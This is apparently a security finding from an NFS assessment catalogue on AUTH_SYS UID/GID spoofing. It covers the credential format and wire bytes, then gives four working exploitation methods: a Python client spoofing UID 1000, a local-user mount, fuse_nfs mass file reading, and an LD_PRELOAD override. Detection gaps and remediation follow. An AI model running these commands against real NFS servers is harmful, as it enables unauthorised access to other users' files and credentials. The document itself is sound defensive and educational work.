F-1.1: AUTH_SYS UID/GID Spoofing¶
Classification¶
- Severity: High
- CVSS Vector: Network / Low Complexity / No Auth Required
- Affected Versions: NFSv2, NFSv3, NFSv4 (when using AUTH_SYS)
- RFC Reference: RFC 1813 (NFSv3), RFC 5531 (ONC RPC)
- Prerequisite: Network access to NFS server port (2049/tcp)
Summary¶
NFSv3's default authentication mechanism, AUTH_SYS (also called AUTH_UNIX), transmits user identity as a plaintext UID/GID tuple that the server trusts without cryptographic verification. An attacker who can reach the NFS port can impersonate any user (except UID 0 when root_squash is enabled) by crafting RPC requests with arbitrary credentials.
Technical detail¶
How AUTH_SYS works¶
Every NFSv3 RPC request contains an authentication credential in the call header. With AUTH_SYS, this credential is an XDR-encoded structure:
struct authsys_parms {
unsigned int stamp; /* arbitrary ID */
string machinename<255>; /* client hostname */
unsigned int uid; /* effective UID */
unsigned int gid; /* effective GID */
unsigned int gids<16>; /* auxiliary GIDs (max 16) */
};
The NFS server extracts uid, gid, and gids from this structure and uses them directly for all permission checks against the exported filesystem. There is no verification that these values correspond to an actual authenticated user.
The vulnerability¶
The server performs permission checks using the client-supplied identifiers:
- Client sends
LOOKUPfor file/home/alice/secret.txt - Server checks if file permissions allow access for UID=1000, GID=1000 (values from the RPC credential)
- If the file is
0600 alice:alice(UID 1000), access is granted
An attacker simply needs to set their RPC credential to uid=1000, gid=1000 to gain full access to Alice's files. The server has no way to distinguish this from a legitimate request.
Wire format (hex dump)¶
AUTH_SYS credential on the wire:
00 00 00 01 # AUTH_UNIX flavor (1)
00 00 00 1c # credential length (28 bytes)
00 00 00 00 # stamp
00 00 00 06 # hostname length
61 74 74 61 63 6b # "attack"
00 00 # padding
00 00 03 e8 # uid = 1000
00 00 03 e8 # gid = 1000
00 00 00 01 # 1 auxiliary GID
00 00 03 e8 # aux gid = 1000
Changing four bytes (the UID field) is all that separates one user's identity from another.
Exploitation¶
Method 1: Direct UID spoofing via custom client¶
# Using anfs library to spoof arbitrary UID/GID
from anfs.protocol.rpc.messages import AUTH_SYS
from anfs.protocol.nfs3.common.factory import NFS3ConnectionFactory
factory = NFS3ConnectionFactory.from_url("nfs://target/?privport=1")
# Spoof as UID 1000 (target user)
factory.credential = AUTH_SYS(0, "attacker", 1000, 1000, [1000])
client = factory.get_client(root_fh)
await client.connect()
# Now read files owned by UID 1000
data = await client.read(file_handle, offset=0, count=65536)
Method 2: Local user creation + kernel NFS client¶
# Create local user with target UID
useradd -u 1000 -o fakeuser
# Mount the NFS share
mount -t nfs -o vers=3,nolock target:/export /mnt
# Access files as the spoofed user
su fakeuser -c "cat /mnt/secret.txt"
Method 3: fuse_nfs auto-spoofing¶
# Automatically impersonate each file's owner for transparent access
fuse_nfs /mnt/nfs target --export /home --fake-uid
# All files are now readable regardless of owner
find /mnt/nfs -type f -exec cat {} \;
Method 4: NFS RPC credential injection via libnfs¶
# Use LD_PRELOAD to override UID in NFS operations
LD_NFS_UID=1000 LD_NFS_GID=1000 LD_PRELOAD=./ld_nfs.so \
cat nfs://target/export/secret.txt
Impact¶
- Confidentiality: Read any file on the export owned by non-root users
- Integrity: Write/modify any file on the export owned by non-root users
- Availability: Delete files, fill quotas, corrupt data
- Lateral movement: Access SSH keys, credentials, configuration files
- Data exfiltration: Bulk download of sensitive data from shared exports
Limitations¶
- UID 0 is blocked by default (
root_squash) — see F-4.1 - Only 16 auxiliary GIDs can be specified per RPC call
- If
all_squashis enabled, all UIDs map tonobody(65534) - Kerberos (
sec=krb5) defeats this attack entirely
Detection¶
- No reliable server-side detection exists — the NFS kernel server does not log per-request UID/GID
auditdcannot monitor NFS kernel operations (they bypass the audit subsystem)- Network-level detection requires deep RPC inspection to flag UID inconsistencies
- The
rmtabandshowmount -ashow connected clients but not which UIDs they claim
Remediation¶
- Use Kerberos authentication:
sec=krb5pprovides authentication, integrity, and encryption - Enable
all_squash: Maps all access tonobody, removing UID trust - Restrict exports by IP: Limit which hosts can mount each export
- Network segmentation: Isolate NFS traffic to trusted VLANs
- Migrate to NFSv4 with RPCSEC_GSS: Principal-based authentication replaces host trust